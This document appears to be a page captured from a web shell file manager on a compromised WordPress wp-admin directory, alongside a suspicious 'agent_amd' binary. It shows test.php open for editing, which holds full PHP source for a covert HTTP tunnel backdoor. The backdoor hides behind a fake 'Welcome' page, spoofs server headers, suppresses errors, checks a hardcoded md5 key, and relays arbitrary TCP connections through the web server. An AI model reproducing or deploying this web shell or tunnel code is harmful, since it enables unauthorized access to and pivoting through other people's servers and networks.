Geforce File Manager

NAME	SIZE	ACTIONS
📁 css		[ DEL ]
📁 images		[ DEL ]
📁 includes		[ DEL ]
📁 js		[ DEL ]
📁 maint		[ DEL ]
📁 network		[ DEL ]
📁 user		[ DEL ]
📄 about.php	18,169 B	[ EDIT ] \| [ DEL ]
📄 admin-ajax.php	5,146 B	[ EDIT ] \| [ DEL ]
📄 admin-footer.php	2,834 B	[ EDIT ] \| [ DEL ]
📄 admin-functions.php	479 B	[ EDIT ] \| [ DEL ]
📄 admin-header.php	9,336 B	[ EDIT ] \| [ DEL ]
📄 admin-post.php	2,021 B	[ EDIT ] \| [ DEL ]
📄 admin.php	12,646 B	[ EDIT ] \| [ DEL ]
📄 agent_amd	3,954,652 B	[ EDIT ] \| [ DEL ]
📄 apis.php	5,803 B	[ EDIT ] \| [ DEL ]
📄 apis.php.1	6,187 B	[ EDIT ] \| [ DEL ]
📄 async-upload.php	5,604 B	[ EDIT ] \| [ DEL ]
📄 authorize-application.php	10,335 B	[ EDIT ] \| [ DEL ]
📄 comment.php	11,622 B	[ EDIT ] \| [ DEL ]
📄 contribute.php	5,998 B	[ EDIT ] \| [ DEL ]
📄 credits.php	4,483 B	[ EDIT ] \| [ DEL ]
📄 custom-background.php	489 B	[ EDIT ] \| [ DEL ]
📄 custom-header.php	499 B	[ EDIT ] \| [ DEL ]
📄 customize.php	11,271 B	[ EDIT ] \| [ DEL ]
📄 edit-comments.php	14,729 B	[ EDIT ] \| [ DEL ]
📄 edit-form-advanced.php	29,527 B	[ EDIT ] \| [ DEL ]
📄 edit-form-blocks.php	14,947 B	[ EDIT ] \| [ DEL ]
📄 edit-form-comment.php	8,543 B	[ EDIT ] \| [ DEL ]
📄 edit-link-form.php	6,354 B	[ EDIT ] \| [ DEL ]
📄 edit-tag-form.php	10,688 B	[ EDIT ] \| [ DEL ]
📄 edit-tags.php	22,533 B	[ EDIT ] \| [ DEL ]
📄 edit.php	19,952 B	[ EDIT ] \| [ DEL ]
📄 erase-personal-data.php	7,505 B	[ EDIT ] \| [ DEL ]
📄 export-personal-data.php	7,941 B	[ EDIT ] \| [ DEL ]
📄 export.php	11,288 B	[ EDIT ] \| [ DEL ]
📄 freedoms.php	4,916 B	[ EDIT ] \| [ DEL ]
📄 import.php	7,766 B	[ EDIT ] \| [ DEL ]
📄 index.php	7,864 B	[ EDIT ] \| [ DEL ]
📄 install-helper.php	6,961 B	[ EDIT ] \| [ DEL ]
📄 install.php	18,192 B	[ EDIT ] \| [ DEL ]
📄 link-add.php	934 B	[ EDIT ] \| [ DEL ]
📄 link-manager.php	4,361 B	[ EDIT ] \| [ DEL ]
📄 link-parse-opml.php	2,784 B	[ EDIT ] \| [ DEL ]
📄 link.php	2,957 B	[ EDIT ] \| [ DEL ]
📄 load-scripts.php	2,070 B	[ EDIT ] \| [ DEL ]
📄 load-styles.php	2,995 B	[ EDIT ] \| [ DEL ]
📄 media-new.php	3,276 B	[ EDIT ] \| [ DEL ]
📄 media-upload.php	3,668 B	[ EDIT ] \| [ DEL ]
📄 media.php	819 B	[ EDIT ] \| [ DEL ]
📄 menu-header.php	10,059 B	[ EDIT ] \| [ DEL ]
📄 menu.php	17,880 B	[ EDIT ] \| [ DEL ]
📄 moderation.php	307 B	[ EDIT ] \| [ DEL ]
📄 ms-admin.php	196 B	[ EDIT ] \| [ DEL ]
📄 ms-delete-site.php	4,613 B	[ EDIT ] \| [ DEL ]
📄 ms-edit.php	216 B	[ EDIT ] \| [ DEL ]
📄 ms-options.php	229 B	[ EDIT ] \| [ DEL ]
📄 ms-sites.php	215 B	[ EDIT ] \| [ DEL ]
📄 ms-themes.php	217 B	[ EDIT ] \| [ DEL ]
📄 ms-upgrade-network.php	219 B	[ EDIT ] \| [ DEL ]
📄 ms-users.php	215 B	[ EDIT ] \| [ DEL ]
📄 my-sites.php	4,858 B	[ EDIT ] \| [ DEL ]
📄 nav-menus.php	49,345 B	[ EDIT ] \| [ DEL ]
📄 network.php	5,522 B	[ EDIT ] \| [ DEL ]
📄 options-discussion.php	16,297 B	[ EDIT ] \| [ DEL ]
📄 options-general.php	22,167 B	[ EDIT ] \| [ DEL ]
📄 options-head.php	621 B	[ EDIT ] \| [ DEL ]
📄 options-media.php	6,530 B	[ EDIT ] \| [ DEL ]
📄 options-permalink.php	21,726 B	[ EDIT ] \| [ DEL ]
📄 options-privacy.php	10,190 B	[ EDIT ] \| [ DEL ]
📄 options-reading.php	10,174 B	[ EDIT ] \| [ DEL ]
📄 options-writing.php	9,323 B	[ EDIT ] \| [ DEL ]
📄 options.php	13,930 B	[ EDIT ] \| [ DEL ]
📄 plugin-editor.php	14,082 B	[ EDIT ] \| [ DEL ]
📄 plugin-install.php	7,124 B	[ EDIT ] \| [ DEL ]
📄 plugins.php	30,724 B	[ EDIT ] \| [ DEL ]
📄 post-new.php	2,768 B	[ EDIT ] \| [ DEL ]
📄 post.php	10,274 B	[ EDIT ] \| [ DEL ]
📄 press-this.php	2,396 B	[ EDIT ] \| [ DEL ]
📄 privacy-policy-guide.php	3,756 B	[ EDIT ] \| [ DEL ]
📄 privacy.php	2,854 B	[ EDIT ] \| [ DEL ]
📄 profile.php	283 B	[ EDIT ] \| [ DEL ]
📄 revision.php	5,836 B	[ EDIT ] \| [ DEL ]
📄 setup-config.php	17,904 B	[ EDIT ] \| [ DEL ]
📄 site-editor.php	12,271 B	[ EDIT ] \| [ DEL ]
📄 site-health-info.php	4,088 B	[ EDIT ] \| [ DEL ]
📄 site-health.php	10,448 B	[ EDIT ] \| [ DEL ]
📄 term.php	2,249 B	[ EDIT ] \| [ DEL ]
📄 test.php	8,990 B	[ EDIT ] \| [ DEL ]
📄 theme-editor.php	17,279 B	[ EDIT ] \| [ DEL ]
📄 theme-install.php	23,945 B	[ EDIT ] \| [ DEL ]
📄 themes.php	49,075 B	[ EDIT ] \| [ DEL ]
📄 tools.php	3,514 B	[ EDIT ] \| [ DEL ]
📄 update-core.php	46,539 B	[ EDIT ] \| [ DEL ]
📄 update.php	13,092 B	[ EDIT ] \| [ DEL ]
📄 upgrade-functions.php	341 B	[ EDIT ] \| [ DEL ]
📄 upgrade.php	6,422 B	[ EDIT ] \| [ DEL ]
📄 upload.php	15,259 B	[ EDIT ] \| [ DEL ]
📄 user-edit.php	41,328 B	[ EDIT ] \| [ DEL ]
📄 user-new.php	24,623 B	[ EDIT ] \| [ DEL ]
📄 users.php	23,846 B	[ EDIT ] \| [ DEL ]
📄 widgets-form-blocks.php	5,242 B	[ EDIT ] \| [ DEL ]
📄 widgets-form.php	19,754 B	[ EDIT ] \| [ DEL ]
📄 widgets.php	1,112 B	[ EDIT ] \| [ DEL ]

[ CLOSE ]

EDIT: test.php

<?php

// 错误报告设置
error_reporting(0);
ini_set('display_errors', 0);

// 设置执行时间限制
set_time_limit(0);
ignore_user_abort(true);

// 定义常量
define('TUNNEL_VERSION', '1.0.0');
define('HEARTBEAT_INTERVAL', 60);
define('MAX_BUFFER_SIZE', 8192);
define('CONNECTION_TIMEOUT', 30);

class TunnelHandler {
    private $session_id;
    private $connections = array();
    private $last_heartbeat;
    
    public function __construct() {
        $this->session_id = $this->generateSessionId();
        $this->last_heartbeat = time();
        $this->initSession();
    }
    
    /**
     * 生成会话ID
     */
    private function generateSessionId() {
        return md5(uniqid(rand(), true));
    }
    
    /**
     * 初始化会话
     */
    private function initSession() {
        if (session_status() == PHP_SESSION_NONE) {
            session_start();
        }
        
        if (!isset($_SESSION['tunnel_connections'])) {
            $_SESSION['tunnel_connections'] = array();
        }
    }
    
    /**
     * 处理HTTP请求
     */
    public function handleRequest() {
        $method = $_SERVER['REQUEST_METHOD'];
        $action = $this->getParameter('action', 'ping');
        
        // 设置响应头
        $this->setHeaders();
        
        switch ($action) {
            case 'ping':
                $this->handlePing();
                break;
            case 'connect':
                $this->handleConnect();
                break;
            case 'send':
                $this->handleSend();
                break;
            case 'recv':
                $this->handleReceive();
                break;
            case 'close':
                $this->handleClose();
                break;
            case 'heartbeat':
                $this->handleHeartbeat();
                break;
            default:
                $this->sendError('Invalid action');
        }
    }
    
    /**
     * 设置HTTP响应头
     */
    private function setHeaders() {
        header('Content-Type: text/html; charset=UTF-8');
        header('Cache-Control: no-cache, no-store, must-revalidate');
        header('Pragma: no-cache');
        header('Expires: 0');
        
        // 添加一些正常的Web页面头部，增强隐蔽性
        header('X-Powered-By: PHP/' . phpversion());
        header('Server: Apache/2.4.41');
    }
    
    /**
     * 获取请求参数
     */
    private function getParameter($name, $default = null) {
        if (isset($_POST[$name])) {
            return $_POST[$name];
        }
        if (isset($_GET[$name])) {
            return $_GET[$name];
        }
        return $default;
    }
    
    /**
     * 处理ping请求
     */
    private function handlePing() {
        $response = array(
            'status' => 'ok',
            'version' => TUNNEL_VERSION,
            'session' => $this->session_id,
            'time' => time()
        );
        $this->sendResponse($response);
    }
    
    /**
     * 处理连接请求
     */
    private function handleConnect() {
        $host = $this->getParameter('host');
        $port = intval($this->getParameter('port'));
        $conn_id = $this->getParameter('conn_id');
        
        if (!$host || !$port || !$conn_id) {
            $this->sendError('Missing parameters');
            return;
        }
        
        // 创建socket连接
        $socket = @fsockopen($host, $port, $errno, $errstr, CONNECTION_TIMEOUT);
        
        if (!$socket) {
            $this->sendError("Connection failed: $errstr ($errno)");
            return;
        }
        
        // 设置非阻塞模式
        stream_set_blocking($socket, false);
        
        // 保存连接
        $this->connections[$conn_id] = $socket;
        $_SESSION['tunnel_connections'][$conn_id] = true;
        
        $response = array(
            'status' => 'connected',
            'conn_id' => $conn_id,
            'host' => $host,
            'port' => $port
        );
        $this->sendResponse($response);
    }
    
    /**
     * 处理发送数据请求
     */
    private function handleSend() {
        $conn_id = $this->getParameter('conn_id');
        $data = $this->getParameter('data');
        
        if (!$conn_id || !isset($this->connections[$conn_id])) {
            $this->sendError('Invalid connection');
            return;
        }
        
        $socket = $this->connections[$conn_id];
        $decoded_data = base64_decode($data);
        
        $bytes_sent = @fwrite($socket, $decoded_data);
        
        if ($bytes_sent === false) {
            $this->closeConnection($conn_id);
            $this->sendError('Send failed');
            return;
        }
        
        $response = array(
            'status' => 'sent',
            'conn_id' => $conn_id,
            'bytes' => $bytes_sent
        );
        $this->sendResponse($response);
    }
    
    /**
     * 处理接收数据请求
     */
    private function handleReceive() {
        $conn_id = $this->getParameter('conn_id');
        
        if (!$conn_id || !isset($this->connections[$conn_id])) {
            $this->sendError('Invalid connection');
            return;
        }
        
        $socket = $this->connections[$conn_id];
        $data = @fread($socket, MAX_BUFFER_SIZE);
        
        if ($data === false) {
            $this->closeConnection($conn_id);
            $this->sendError('Receive failed');
            return;
        }
        
        $response = array(
            'status' => 'received',
            'conn_id' => $conn_id,
            'data' => base64_encode($data),
            'bytes' => strlen($data)
        );
        $this->sendResponse($response);
    }
    
    /**
     * 处理关闭连接请求
     */
    private function handleClose() {
        $conn_id = $this->getParameter('conn_id');
        
        if ($conn_id) {
            $this->closeConnection($conn_id);
        }
        
        $response = array(
            'status' => 'closed',
            'conn_id' => $conn_id
        );
        $this->sendResponse($response);
    }
    
    /**
     * 处理心跳请求
     */
    private function handleHeartbeat() {
        $this->last_heartbeat = time();
        
        $response = array(
            'status' => 'alive',
            'session' => $this->session_id,
            'time' => $this->last_heartbeat,
            'connections' => count($this->connections)
        );
        $this->sendResponse($response);
    }
    
    /**
     * 关闭连接
     */
    private function closeConnection($conn_id) {
        if (isset($this->connections[$conn_id])) {
            @fclose($this->connections[$conn_id]);
            unset($this->connections[$conn_id]);
        }
        
        if (isset($_SESSION['tunnel_connections'][$conn_id])) {
            unset($_SESSION['tunnel_connections'][$conn_id]);
        }
    }
    
    /**
     * 发送响应
     */
    private function sendResponse($data) {
        echo json_encode($data);
    }
    
    /**
     * 发送错误响应
     */
    private function sendError($message) {
        $response = array(
            'status' => 'error',
            'message' => $message,
            'time' => time()
        );
        echo json_encode($response);
    }
    
    /**
     * 清理过期连接
     */
    public function cleanup() {
        foreach ($this->connections as $conn_id => $socket) {
            if (!is_resource($socket)) {
                $this->closeConnection($conn_id);
            }
        }
    }
    
    /**
     * 析构函数
     */
    public function __destruct() {
        $this->cleanup();
    }
}

// 伪装成正常的Web页面内容
function renderFakePage() {
    echo '<!DOCTYPE html>
<html>
<head>
    <title>Welcome</title>
    <meta charset="UTF-8">
</head>
<body>
    <h1>Welcome to our website</h1>
    <p>This is a normal web page.</p>
    <p>Current time: ' . date('Y-m-d H:i:s') . '</p>
</body>
</html>';
}

// 主程序逻辑
try {
    // 检查是否为隧道请求
    $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
    $auth = isset($_REQUEST['auth']) ? $_REQUEST['auth'] : '';
    
    // 简单的认证机制（可以根据需要修改）
    $valid_auth = md5('tunnel_auth_key_2024');
    
    if ($action && $auth === $valid_auth) {
        // 处理隧道请求
        $tunnel = new TunnelHandler();
        $tunnel->handleRequest();
    } else {
        // 显示伪装页面
        renderFakePage();
    }
} catch (Exception $e) {
    // 出错时也显示伪装页面
    renderFakePage();
}
?>